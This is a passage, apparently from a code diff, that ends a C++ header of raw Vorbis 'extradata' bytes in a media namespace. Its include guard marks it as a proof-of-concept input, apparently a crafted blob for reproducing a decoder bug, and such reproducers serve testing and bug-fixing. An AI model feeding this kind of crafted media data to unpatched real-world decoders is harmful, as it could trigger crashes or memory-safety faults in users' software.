0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x80, 0x00, 0x07, 0x00, 0x80, + 0x00, 0x0b, 0xa1, 0xd0, 0x90, 0x15, 0x01, 0x40, 0x9c, 0x00, 0x80, 0xc1, + 0x71, 0x2c, 0x0b, 0x00, 0x00, 0x1c, 0x49, 0xd2, 0x34, 0x00, 0x00, 0x70, + 0x24, 0x49, 0xd3, 0x00, 0x00, 0xc0, 0xd2, 0x34, 0x51, 0x04, 0x00, 0x00, + 0x4d, 0xd3, 0x44, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xc0, + 0x80, 0x03, 0x00, 0x40, 0x80, 0x09, 0x65, 0xa0, 0xd0, 0x90, 0x95, 0x00, + 0x40, 0x14, 0x00, 0x80, 0x41, 0x51, 0x34, 0x0d, 0x48, 0x8e, 0xa6, 0x01, + 0x49, 0xd2, 0x34, 0x60, 0x69, 0x9e, 0x07, 0xf0, 0x3c, 0x80, 0x68, 0x02, + 0x44, 0x11, 0xa0, 0xaa, 0x00, 0x40, 0x00, 0x00, 0x40, 0x81, 0x03, 0x00, + 0x40, 0x80, 0x0d, 0x9a, 0x12, 0x8b, 0x03, 0x14, 0x1a, 0xb2, 0x12, 0x00, + 0x88, 0x02, 0x00, 0x30, 0x38, 0x8a, 0x65, 0x69, 0x9a, 0x28, 0x92, 0x24, + 0x4d, 0xf3, 0x34, 0x51, 0x24, 0x49, 0x9a, 0xe6, 0x79, 0xa2, 0x48, 0xd3, + 0x3c, 0xcf, 0xf3, 0x4c, 0x13, 0x9e, 0xe7, 0x79, 0xa6, 0x09, 0x51, 0x14, + 0x45, 0x55, 0x85, 0x28, 0x8a, 0xa2, 0xaa, 0xc2, 0x34, 0x4d, 0x53, 0x55, + 0x81, 0x28, 0xaa, 0xaa, 0x00, 0x00, 0x80, 0x02, 0x07, 0x00, 0x80, 0x00, + 0x1b, 0x34, 0x25, 0x16, 0x07, 0x28, 0x34, 0x64, 0x25, 0x00, 0x10, 0x12, + 0x00, 0x60, 0x70, 0x1c, 0xcb, 0xf2, 0x3c, 0xcf, 0xf3, 0x3c, 0x51, 0x34, + 0x4d, 0x55, 0x65, 0x59, 0x9a, 0xe6, 0x79, 0xa2, 0x28, 0x8a, 0xa6, 0x69, + 0xaa, 0xaa, 0x4a, 0xb2, 0x34, 0xcd, 0xf3, 0x44, 0x51, 0x14, 0x4d, 0xd3, + 0x54, 0x55, 0x95, 0xa6, 0x79, 0x9e, 0xe7, 0x89, 0xa2, 0x28, 0x9a, 0xa6, + 0xaa, 0xba, 0x2e, 0x3c, 0xcf, 0xf3, 0x44, 0x51, 0x14, 0x4d, 0x53, 0x55, + 0x5d, 0x17, 0x9e, 0x27, 0x8a, 0xa6, 0x69, 0x9a, 0xaa, 0xaa, 0xaa, 0xae, + 0x0b, 0xcf, 0x13, 0x45, 0xd3, 0x34, 0x4d, 0x55, 0x55, 0x55, 0xd7, 0x85, + 0x28, 0x8a, 0xa2, 0x69, 0x9a, 0xa6, 0xaa, 0xba, 0xae, 0x2b, 0x03, 0x51, + 0x34, 0x4d, 0xd3, 0x54, 0x55, 0xd7, 0x95, 0x65, 0x20, 0x8a, 0xa6, 0xa9, + 0xaa, 0xaa, 0xea, 0xba, 0xb2, 0x0c, 0x44, 0xd1, 0x34, 0x55, 0x53, 0x55, + 0x5d, 0x57, 0x96, 0x81, 0x69, 0x9a, 0xa6, 0xaa, 0xba, 0xae, 0x2b, 0xcb, + 0x32, 0xc0, 0x34, 0x55, 0xd5, 0x75, 0x5d, 0x59, 0x96, 0x01, 0xaa, 0xea, + 0xba, 0xae, 0x2b, 0xcb, 0xb6, 0x0d, 0x50, 0x55, 0x57, 0x75, 0x5d, 0x59, + 0x96, 0x65, 0x80, 0xeb, 0xba, 0xae, 0x2c, 0xcb, 0xb2, 0x6d, 0x03, 0x70, + 0x5d, 0xd7, 0x95, 0x65, 0xdb, 0x16, 0x00, 0x00, 0x70, 0xe0, 0x00, 0x00, + 0x10, 0x60, 0x04, 0x9d, 0x64, 0x54, 0x59, 0x84, 0x8d, 0x26, 0x5c, 0x78, + 0x00, 0x0a, 0x0d, 0x59, 0x11, 0x00, 0x44, 0x01, 0x00, 0x00, 0xc6, 0x30, + 0xa5, 0x98, 0x52, 0x86, 0x31, 0x09, 0x21, 0x85, 0xd0, 0x30, 0x26, 0x21, + 0xa4, 0x10, 0x32, 0x29, 0x25, 0xa5, 0x54, 0x4a, 0x05, 0x21, 0xa5, 0x92, + 0x4a, 0xa9, 0x20, 0xa4, 0x92, 0x52, 0x29, 0x19, 0x95, 0x94, 0x52, 0x4a, + 0xa9, 0x82, 0x90, 0x4a, 0x49, 0xa9, 0x54, 0x10, 0x52, 0x29, 0xa9, 0xa4, + 0x02, 0x00, 0xc0, 0x0e, 0x1c, 0x00, 0xc0, 0x0e, 0x2c, 0x84, 0x42, 0x43, + 0x56, 0x02, 0x00, 0x79, 0x00, 0x00, 0x84, 0x31, 0x4a, 0x31, 0xc6, 0x18, + 0x73, 0x10, 0x21, 0xa5, 0x18, 0x73, 0xce, 0x39, 0x88, 0x90, 0x52, 0x8c, + 0x39, 0xe7, 0x9c, 0x64, 0x8c, 0x31, 0xc6, 0x9c, 0x73, 0x4e, 0x4a, 0xc9, + 0x18, 0x63, 0xce, 0x39, 0x27, 0xa5, 0x74, 0xce, 0x39, 0xe7, 0x9c, 0x93, + 0x52, 0x3a, 0xe7, 0x9c, 0x73, 0xce, 0x49, 0x29, 0x9d, 0x73, 0xce, 0x39, + 0xe7, 0xa4, 0x94, 0x52, 0x3a, 0xe7, 0x9c, 0x73, 0x52, 0x4a, 0x29, 0x21, + 0x74, 0xce, 0x39, 0x29, 0xa5, 0x94, 0xce, 0x39, 0xe7, 0x9c, 0x00, 0x00, + 0xa0, 0x02, 0x07, 0x00, 0x80, 0x00, 0x1b, 0x45, 0x36, 0x27, 0x18, 0x09, + 0x2a, 0x34, 0x64, 0x25, 0x00, 0x90, 0x0a, 0x00, 0x60, 0x70, 0x1c, 0xcb, + 0xd2, 0x34, 0x4d, 0xf3, 0x3c, 0x51, 0xd4, 0x24, 0x49, 0xd3, 0x3c, 0xcf, + 0xf3, 0x44, 0xd1, 0x34, 0x35, 0x4b, 0xd2, 0x34, 0xcf, 0xf3, 0x3c, 0x51, + 0x34, 0x4d, 0x9e, 0xe7, 0x79, 0xa2, 0x28, 0x8a, 0xa6, 0xa9, 0xaa, 0x3c, + 0xcf, 0xf3, 0x44, 0x51, 0x14, 0x4d, 0x53, 0x55, 0xb9, 0xae, 0x28, 0x9a, + 0xa6, 0x69, 0xaa, 0xaa, 0xaa, 0x92, 0x65, 0x51, 0x14, 0x45, 0xd3, 0x54, + 0x55, 0xd5, 0x85, 0x68, 0x9a, 0xa6, 0xaa, 0xba, 0xaa, 0xeb, 0xc2, 0x34, + 0x45, 0x51, 0x55, 0x5d, 0xd7, 0x75, 0x21, 0xcb, 0xa6, 0xa9, 0xaa, 0xae, + 0x2b, 0xcb, 0xb0, 0x6d, 0xd3, 0x54, 0x55, 0xd7, 0x95, 0x65, 0xa0, 0xba, + 0xaa, 0x2a, 0xbb, 0xb2, 0x0c, 0x5c, 0x57, 0x55, 0x65, 0xd7, 0xb6, 0x05, + 0x00, 0x80, 0x27, 0x38, 0x00, 0x00, 0x15, 0xd8, 0xb0, 0x3a, 0xc2, 0x49, + 0xd1, 0x58, 0x60, 0xa1, 0x21, 0x2b, 0x01, 0x80, 0x0c, 0x00, 0x00, 0xc2, + 0x18, 0x63, 0x14, 0x42, 0x08, 0x29, 0x84, 0x10, 0x52, 0x4a, 0x21, 0xa4, + 0x94, 0x42, 0x48, 0x00, 0x00, 0xc0, 0x80, 0x03, 0x00, 0x40, 0x80, 0x09, + 0x65, 0xa0, 0xd0, 0x90, 0x95, 0x00, 0x40, 0x14, 0x00, 0x00, 0x40, 0x08, + 0xa5, 0x94, 0x52, 0x4a, 0x98, 0xa2, 0x94, 0x52, 0x4a, 0x8d, 0x63, 0x94, + 0x52, 0x4a, 0x29, 0xa5, 0x94, 0x52, 0x4a, 0x29, 0xa5, 0x94, 0x52, 0x4a, + 0x29, 0xa5, 0x94, 0x52, 0x6a, 0xad, 0xb5, 0xd6, 0x5a, 0x6b, 0xad, 0xb5, + 0xd6, 0x5a, 0x6b, 0xad, 0xb5, 0xd6, 0x5a, 0x6b, 0xad, 0xb5, 0xd6, 0x5a, + 0x2b, 0x00, 0x40, 0x77, 0xc2, 0x01, 0x40, 0xf7, 0xc1, 0x06, 0x4d, 0x89, + 0xc5, 0x01, 0x0a, 0x0d, 0x59, 0x09, 0x00, 0xa4, 0x02, 0x00, 0x00, 0xc6, + 0x28, 0xc5, 0x18, 0x84, 0x92, 0x5a, 0xab, 0x10, 0x62, 0xcc, 0x39, 0x29, + 0x2d, 0xb5, 0x56, 0x21, 0xc4, 0x98, 0x73, 0x52, 0x5a, 0x6a, 0x2d, 0x68, + 0xcc, 0x39, 0x08, 0xa5, 0xb4, 0x16, 0x63, 0xd1, 0x98, 0x63, 0x10, 0x4a, + 0x69, 0xad, 0xc5, 0x64, 0x4a, 0xe7, 0xa4, 0xa4, 0xd4, 0x5a, 0xac, 0x49, + 0x95, 0x8e, 0x49, 0x49, 0xa9, 0xb5, 0xd8, 0x92, 0x52, 0xa6, 0x94, 0x92, + 0x52, 0x6b, 0x31, 0x26, 0xa5, 0x54, 0x48, 0xa1, 0xb6, 0xd8, 0x62, 0x4c, + 0xce, 0xc8, 0x9a, 0x52, 0x6b, 0x31, 0xd6, 0xd8, 0x9c, 0xd3, 0x31, 0x95, + 0x98, 0x62, 0xac, 0xb1, 0x39, 0xe7, 0x9c, 0xac, 0xad, 0xc5, 0x18, 0x63, + 0x73, 0xce, 0x39, 0x19, 0x5b, 0xeb, 0x31, 0xc7, 0x02, 0x00, 0x30, 0x1b, + 0x1c, 0x00, 0x20, 0x12, 0x6c, 0x58, 0x1d, 0xe1, 0xa4, 0x68, 0x2c, 0xb0, + 0xd0, 0x90, 0x95, 0x00, 0x40, 0x48, 0x00, 0x00, 0x81, 0x90, 0x52, 0x8c, + 0x31, 0xe6, 0x9c, 0x73, 0xce, 0x39, 0x27, 0x95, 0x62, 0x8c, 0x31, 0xe7, + 0x20, 0x84, 0x10, 0x42, 0x08, 0xa5, 0x52, 0x8c, 0x39, 0xe6, 0x1c, 0x84, + 0x10, 0x42, 0x08, 0xa1, 0x64, 0x8c, 0x31, 0xe7, 0x1c, 0x84, 0x10, 0x42, + 0x08, 0x21, 0x94, 0x52, 0x32, 0xe6, 0x1c, 0x74, 0x10, 0x42, 0x28, 0x21, + 0x94, 0x52, 0x52, 0xe7, 0x9c, 0x83, 0x10, 0x42, 0x08, 0xa1, 0x84, 0x52, + 0x4a, 0xe9, 0x9c, 0x73, 0x10, 0x42, 0x08, 0x21, 0x84, 0x52, 0x52, 0x29, + 0x9d, 0x83, 0x10, 0x42, 0x08, 0x21, 0x84, 0x50, 0x4a, 0x29, 0x25, 0xa5, + 0xce, 0x41, 0x08, 0x21, 0x84, 0x10, 0x42, 0x49, 0x29, 0xa5, 0x14, 0x42, + 0x08, 0x21, 0x84, 0x50, 0x42, 0x09, 0x29, 0x95, 0x94, 0x42, 0x08, 0x21, + 0x84, 0x10, 0x42, 0x28, 0x21, 0xa5, 0x92, 0x52, 0x08, 0x21, 0x84, 0x10, + 0x42, 0x08, 0x25, 0xa4, 0x92, 0x52, 0x4a, 0x29, 0x84, 0x12, 0x42, 0x08, + 0x21, 0x84, 0x92, 0x4a, 0x4a, 0x29, 0x95, 0x52, 0x4a, 0x08, 0x21, 0x84, + 0x50, 0x52, 0x4a, 0x29, 0xa5, 0x50, 0x42, 0x08, 0x21, 0x84, 0x10, 0x52, + 0x2a, 0x29, 0xa5, 0x52, 0x4a, 0x08, 0x21, 0x84, 0x10, 0x42, 0x49, 0x25, + 0xa5, 0x94, 0x52, 0x0a, 0x21, 0x84, 0x10, 0x42, 0x28, 0x00, 0x00, 0xe0, + 0xc0, 0x01, 0x00, 0x20, 0xc0, 0x08, 0x3a, 0xc9, 0xa8, 0xb2, 0x08, 0x1b, + 0x4d, 0xb8, 0xf0, 0x00, 0x14, 0x1a, 0xb2, 0x12, 0x00, 0x88, 0x02, 0x00, + 0x80, 0x0c, 0x94, 0x50, 0x52, 0x8b, 0x0d, 0x40, 0x8c, 0x41, 0x6a, 0xb5, + 0x43, 0x0c, 0x3a, 0x89, 0x31, 0x96, 0x0c, 0x1a, 0xc5, 0xa4, 0xd5, 0x50, + 0x31, 0xa5, 0x98, 0xb4, 0x16, 0x3a, 0xc8, 0x14, 0x73, 0xd4, 0x52, 0x4a, + 0xa1, 0x63, 0x4e, 0x5a, 0x8b, 0xb5, 0xa5, 0x10, 0x42, 0x6b, 0x41, 0xe8, + 0xde, 0x4a, 0x8a, 0x01, 0x00, 0x00, 0x10, 0x04, 0x00, 0x04, 0x98, 0x00, + 0x02, 0x03, 0x04, 0x05, 0x5f, 0x08, 0x01, 0x31, 0x06, 0x00, 0x20, 0x08, + 0x91, 0x19, 0x22, 0xa1, 0xb0, 0x0a, 0x16, 0x18, 0x94, 0x41, 0x83, 0xc3, + 0x3c, 0x00, 0x78, 0x80, 0x88, 0x90, 0x08, 0x00, 0x12, 0x13, 0x14, 0x69, + 0x17, 0x17, 0xd0, 0x65, 0x80, 0x0b, 0xba, 0xb8, 0xeb, 0x40, 0x08, 0x41, + 0x08, 0x42, 0x10, 0x8b, 0x03, 0x28, 0x20, 0x01, 0x07, 0x27, 0xdc, 0xf0, + 0xc4, 0x1b, 0x9e, 0x70, 0x83, 0x13, 0x74, 0x8a, 0x4a, 0x1d, 0x08, 0x00, + 0x00, 0x00, 0x00, 0xc0, 0x02, 0x00, 0x3c, 0x00, 0x00, 0x20, 0x14, 0x40, + 0x44, 0x44, 0x33, 0x57, 0x61, 0x71, 0x81, 0x91, 0xa1, 0xb1, 0xc1, 0xd1, + 0xe1, 0xf1, 0x01, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x00, 0xf0, + 0x01, 0x00, 0x80, 0x84, 0x00, 0x11, 0x11, 0xcd, 0x5c, 0x85, 0xc5, 0x05, + 0x46, 0x86, 0xc6, 0x06, 0x47, 0x87, 0xc7, 0x07, 0x48, 0x00, 0x00, 0x20, + 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x20, 0x00, 0x01, 0x01, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, +}; +} // namespace media +#endif // MEDIA_MOJO_CLIENTS_POC_VORBIS_EXTRADATA_H_